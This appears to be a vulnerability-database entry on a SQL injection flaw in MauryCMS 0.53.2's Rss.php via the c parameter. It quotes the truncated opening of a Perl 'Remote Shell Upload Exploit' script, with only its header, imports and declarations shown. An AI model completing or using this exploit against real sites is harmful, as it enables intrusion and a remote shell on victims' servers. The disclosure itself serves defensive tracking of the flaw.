SQL injection vulnerability in Rss.php in MauryCMS 0.53.2 and previous versions allows remote malicious users to execute arbitrary SQL commands via the c parameter.
#!/usr/bin/perl
=about
MauryCMS <= 0532 Remote Shell Upload Exploit
----------------------------------------------
by athos - staker[at]hotmail[dot]it
download on cmsmaury91org
thnx Osirys
=cut
use strict;
use warnings;
use LWP::UserAgent;
my ($http,$post,$user,$pass,@auth,@read,$shell);
my $host = shift @AR ...
Vulmon